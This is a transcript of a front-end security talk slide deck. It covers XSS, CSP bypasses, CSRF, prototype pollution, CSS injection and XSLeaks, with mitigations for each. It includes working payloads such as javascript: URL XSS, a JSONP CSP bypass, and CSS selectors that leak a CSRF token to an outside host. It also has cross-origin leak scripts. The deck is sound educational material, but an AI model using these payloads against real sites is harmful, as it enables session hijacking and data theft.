Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Front-end Security that Front-end developers don't know

Huli
September 02, 2022

Front-end Security that Front-end developers don't know

This talk is an introduction to front-end security, including XSS, CSP, CSRF, XSLeaks and so on.

這是我之前去趨勢內部分享的一個講題,主要是有關於前端資訊安全,談到了一些經典的主題像是 XSS, CSP, CSRF 以及 XSLeaks 等等

Huli

September 02, 2022
Tweet

More Decks by Huli

Other Decks in Programming

Transcript

  1. Front-end Security that Front-end developers don’t know Huli @ Trend

    Micro Sharing, 2022/07/08
  2. About Previous: Front-end Engineer

  3. About Previous: Front-end Engineer Now: Security Engineer

  4. Security

  5. source: https://github.com/UnityTech/unity-ssdlc/blob/master/Overview.md

  6. source: https://github.com/UnityTech/unity-ssdlc/blob/master/Overview.md

  7. source: https://docs.github.com/en/code-security/

  8. source: https://github.com/UnityTech/unity-ssdlc/blob/master/Overview.md

  9. 弱點掃描 Vulnerability Assessment

  10. source: https://www.zaproxy.org/getting-started/images/zap-qstart-learnmore.png

  11. 滲透測試 Penetration Test

  12. 紅隊演練 Red Teaming

  13. So, are we safe now?

  14. source: https://github.com/UnityTech/unity-ssdlc/blob/master/Overview.md

  15. None
  16. XSS Cross-Site Scripting

  17. I am safe! I use ____ !

  18. Can you spot the vulnerability?

  19. Can you spot the vulnerability?

  20. The vulnerability

  21. None
  22. <a href="javascript:void(0)">click</a>

  23. Can you spot the vulnerability?

  24. The vulnerability

  25. Can you spot the vulnerability?

  26. The vulnerability

  27. <a href="javascript:alert(1)">

  28. <a href="javascript:alert(1)">

  29. <a href="&#106;avascript:alert(1)">

  30. Mitigation 1. URL should start with 
 http:// or https://

    2. Use new URL() to check 
 protocol
  31. <a href="javascript:alert(1)"> <iframe src="javascript:alert(1)"> <form action="javascript:alert(1)"> <object data="javascript:alert(1)"> <embed src="javascript:alert(1)">

    location = "javascript:alert(1)" location.href = "javascript:alert(1)" location.replace("javascript:alert(1)") location.assign("javascript:alert(1)")
  32. Are we safe now?

  33. Can you spot the vulnerability?

  34. top.location = "//huli.tw"

  35. Mitigation Sandboxed iframe <iframe sandbox=""></iframe>

  36. Sandboxed iframe allow-downloads allow-forms allow-modals allow-orientation-lock allow-pointer-lock allow-popups allow-scripts allow-popups-to-escape-sandbox

    allow-presentation allow-same-origin allow-top-navigation allow-top-navigation-by-user- activation allow-top-navigation-to-custom- protocols
  37. I am safe! I use React!

  38. Can you spot the vulnerability?

  39. The vulnerability

  40. The vulnerability Warning: Invalid event handler property `onerror`. Did you

    mean `onError`?
  41. The vulnerability

  42. Mitigation Don’t trust user’s input

  43. Sanitization is not that hard, but…

  44. What if some tags are allowed?

  45. Can you spot the vulnerability?

  46. None
  47. Can you spot the vulnerability?

  48. Can you spot the vulnerability?

  49. The vulnerability //example.com style=animation-name:spinning onanimationstart=console.log(1337)

  50. Mitigation Don’t modify the content after sanitization

  51. CSP Content Security Policy

  52. Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https://www.google.com; img-src *;

  53. Are we safe now? Yes :) No :(

  54. Are we safe now? Yes :) No :(

  55. Can you spot the vulnerability? default-src 'self'; script-src 'self' 'unsafe-inline'

    https://www.google.com; img-src *;
  56. Can you spot the vulnerability? default-src 'self'; script-src 'self' 'unsafe-inline'

    https://www.google.com; img-src *;
  57. Is it vulnerable? default-src 'self'; script-src 'self' https://www.google.com; img-src *;

  58. The vulnerability default-src 'self'; script-src 'self' https://www.google.com; img-src *;

  59. The vulnerability <script src=" https://www.google.com/complete/search? client=chrome&q=123&jsonp=alert(1)//"> </script> alert(1)//([“123”,[“123go”,”https:// www.yes123.com.tw/","123rf"..... Response

  60. Is it vulnerable? default-src 'self'; script-src 'self'; img-src *;

  61. Is it vulnerable? default-src 'self'; script-src 'self'; img-src *; jsonp:

    /?jsonp=.. open redirect: /redirect?url=..
  62. Mitigation https://csp-evaluator.withgoogle.com/

  63. Real world example HackMD Stored XSS & Bypass CSP with

    Google Tag Manager (GTM + unsafe-eval) https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/ HackMD_XSS_%26_Bypass_CSP.md A Wormable XSS on HackMD! (cdnjs + angular CSTI) https://blog.orange.tw/2019/03/a-wormable-xss-on-hackmd.html
  64. CSRF Cross-Site Request Forgery

  65. User Login huli.tw

  66. User Login huli.tw User Open attack.com

  67. User Login huli.tw User Open attack.com Submit form <form action="//huli.tw/update">

    <input name="password" value="a">
  68. User Login huli.tw User Open attack.com Submit form <form action="//huli.tw/update">

    <input name="password" value="a"> Cookie: sid=..
  69. User Login huli.tw User Open attack.com Submit form <form action="//huli.tw/update">

    <input name="password" value="a"> Cookie: sid=..
  70. Mitigation CSRF token Same-site cookie JWT(?)

  71. User Request huli.tw document.cookie="token=5566" Cookie:token=5566 data=…&token=5566

  72. User Request huli.tw User Open attack.com document.cookie="token=5566" Cookie:token=5566 data=…&token=5566 Submit

    form <form action="//huli.tw/update"> <input name="token" value="???">
  73. Mitigation CSRF token Same-site cookie JWT(?)

  74. User Login huli.tw Set-cookie: sid=abc; Same-site=Lax

  75. User Login huli.tw User Open attack.com Submit form <form action="//huli.tw/update">

    <input name="password" value="a"> Cookie:<empty>
  76. SameSite Cookie Changes in February 2020: What You Need to

    Know https://blog.chromium.org/2020/02/samesite-cookie-changes-in-february.html
  77. Are we safe now? Yes :) No :(

  78. Are we safe now? Yes :) No :(

  79. Feature: Cookies default to SameSite=Lax https://chromestatus.com/feature/5088147346030592 Note: Chrome will make

    an exception for cookies set without a SameSite attribute less than 2 minutes ago. Such cookies will also be sent with non-idempotent (e.g. POST) top-level cross-site requests.… Support for this intervention ("Lax + POST") will be removed in the future.
  80. User Login huli.tw User Open attack.com Submit form <form action="//huli.tw/update">

    <input name="password" value="a"> Cookie:<empty>
  81. User Login huli.tw User Open attack.com Submit form <form action="//huli.tw/update">

    <input name="password" value="a"> Cookie:sid=.. < 2min
  82. Are we safe now? Yes :) No :(

  83. Same-site Cookie

  84. Same-site Cookie What is “site”?

  85. Origin(scheme,host,port) Site(scheme,eTLD) https://huli.tw (https, huli.tw, 443) (https, huli.tw) http://blog.huli.tw (https,

    blog.huli.tw, 443) (https, huli.tw) https://huli.github.io (https, huli.github.io, 443) (https, huli.github.io) https://abc.github.io (https, abc.github.io, 443) (https, abc.github.io)
  86. Origin(scheme,host,port) Site(scheme,eTLD) https://huli.tw (https, huli.tw, 443) (https, huli.tw) http://blog.huli.tw (https,

    blog.huli.tw, 443) (https, huli.tw) https://huli.github.io (https, huli.github.io, 443) (https, huli.github.io) https://abc.github.io (https, abc.github.io, 443) (https, abc.github.io)
  87. None
  88. User Login huli.tw User Open xss.huli.tw Submit form <form action="//huli.tw/update">

    <input name="password" value="a">
  89. 1. Subdomain takeover 2. XSS on subdomain

  90. None
  91. https://github.com/EdOverflow/can-i-take-over-xyz

  92. Real world example CVE-2022-21703: cross-origin request forgery against Grafana https://jub0bs.com/posts/2022-02-08-cve-2022-21703-writeup/

    Subdomain takeover on svcgatewayus.starbucks.com https://hackerone.com/reports/325336
  93. Mitigation CSRF token + same-site cookie

  94. Is it vulnerable?

  95. Can you spot the vulnerability?

  96. Can you spot the vulnerability?

  97. The vulnerability

  98. The vulnerability

  99. The vulnerability obj[y][x] = value

  100. The vulnerability obj[y][x] = value obj[1][0] = 'white' obj['tags']['img'] =

    'src'
  101. The vulnerability obj[y][x] = value obj[1][0] = 'white' obj['tags']['img'] =

    'src' obj['__proto__']['abc'] = 'hi'
  102. Prototype Pollution

  103. var obj = {} var obj2 = {} // obj.__proto__

    === Object.prototype // => Object.prototype.a = 1 obj['__proto__']['a'] = 1 console.log(obj2.a) // 1
  104. None
  105. Is it vulnerable?

  106. Is it vulnerable? obj['__proto__']['><b>xss</b>'] = 1

  107. The vulnerability

  108. Prototype pollution gadgets https://github.com/BlackFan/client-side-prototype-pollution

  109. Real world example Exploiting prototype pollution – RCE in Kibana

    (CVE-2019-7609) https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
  110. Mitigation Object.create(null) Object.freeze(Object.prototype) hasOwnProperty

  111. Is it vulnerable? const clean = DOMPurify.sanitize(input) div.innerHTML = clean

    Yes :) No :(
  112. Is it vulnerable? const clean = DOMPurify.sanitize(input) div.innerHTML = clean

    Yes :) No :(
  113. The vulnerability

  114. CSS injection

  115. What can we do via <style>?

  116. <form action="/update"> <input type="hidden" name=“token" value="abc123" > <input name="username"> <input

    name="password"> </form>
  117. <form action="/update"> <input type="hidden" name="token" value="abc123" > <input name="username"> <input

    name="password"> </form> <style> input [name=token] [value^=a] { background: url(//huli.tw?q=a) } </style>
  118. <form action="/update"> <input type="hidden" name="token" value="abc123" > <input name="username"> <input

    name="password"> </form> <style> input [name=token] [value^=a] { background: url(//huli.tw?q=a) } </style>
  119. <form action="/update"> <input type="hidden" name="token" value="abc123" > <input name="username"> <input

    name="password"> </form> <style> input [name=token] [value^=a] ~ * { background: url(//huli.tw?q=a) } </style>
  120. <form action="/update"> <input type="hidden" name="token" value="abc123" > <input name="username"> <input

    name="password"> </form> <style> input [name=token] [value^=a] ~ * { background: url(//huli.tw?q=a) } </style>
  121. <form action="/update"> <input name="username"> <input name="password"> <input type="hidden" name="token" value="abc123"

    > </form> ?
  122. None
  123. <form action="/update"> <input name="username"> <input name="password"> <input type="hidden" name="token" value="abc123"

    > </form> <style> form:has( input [name=token] [value^=a]) { background: url(//huli.tw?q=a) } </style>
  124. None
  125. Mitigation CSP Same-site cookie Check Origin/Referer header

  126. Is it vulnerable? Yes :) No :( app.get('/search', (req, res)

    => { const user = db.users.search(req.query.q) if(!user) return res.sendStatus(404) res.send(user) })
  127. Is it vulnerable? Yes :) No :( app.get('/search', (req, res)

    => { const user = db.users.search(req.query.q) if(!user) return res.sendStatus(404) res.send(user) })
  128. Is it vulnerable? Yes :) No :( app.get('/search', (req, res)

    => { const user = db.users.search(req.query.q) if(!user) return res.status(404) res.send(user) }) Found => 200 Not Found => 404
  129. <script> var s = document.createElement('script') s.src = 'http://localhost:3000/search?q=abc' s.onerror =

    () => { alert('not found') } s.onload = () => { alert('found') } document.head.appendChild(s) </script>
  130. XSLeaks

  131. Can you exploit the vulnerability? app.get('/search', (req, res) => {

    const user = db.users.search(req.query.q) if (!user) return res.send('not found') res.send(`Redirecting...<script> setTimeout(() => { location = '/result?id=${user.id}' }, 500) </script>`) })
  132. <script> var w = window.open('http://localhost:3000/search?q=1') setTimeout(() => { w.location =

    '/' setTimeout(() => { alert(w.history.length === 3 ? 'Found' : 'Not found') w.close() }, 500) }, 1500) </script>
  133. Can you exploit the vulnerability? app.get('/search', (req, res) => {

    const user = db.users.search(req.query.q) if (!user) return res.send('not found') res.redirect('/result?id='+user.id) })
  134. None
  135. <script> const attackerUrl = "https://xsinator.com/testcases/ files/maxredirect.php" const url = ‘http://localhost:3000/search?q=a'

    fetch(`${attackerUrl}?n=19&url=${encodeURI(url)}`, { credentials: "include", mode: "no-cors" }).then(() => { console.log('not found') }) .catch(() => { console.log('found') }) </script>
  136. Mitigation Same-site cookie status-agnostic response

  137. None
  138. Resources 1. https://github.com/fei3363/Awesome-Taiwan-Security-Course 2. https://github.com/splitline/How-to-Hack-Websites 3. https://xsleaks.dev/ 4. https://xsinator.com/ 5.

    https://portswigger.net/web-security 6. https://book.hacktricks.xyz/pentesting-web/xs-search 7. https://blog.huli.tw 8. https://blog.maple3142.net/
  139. Q&A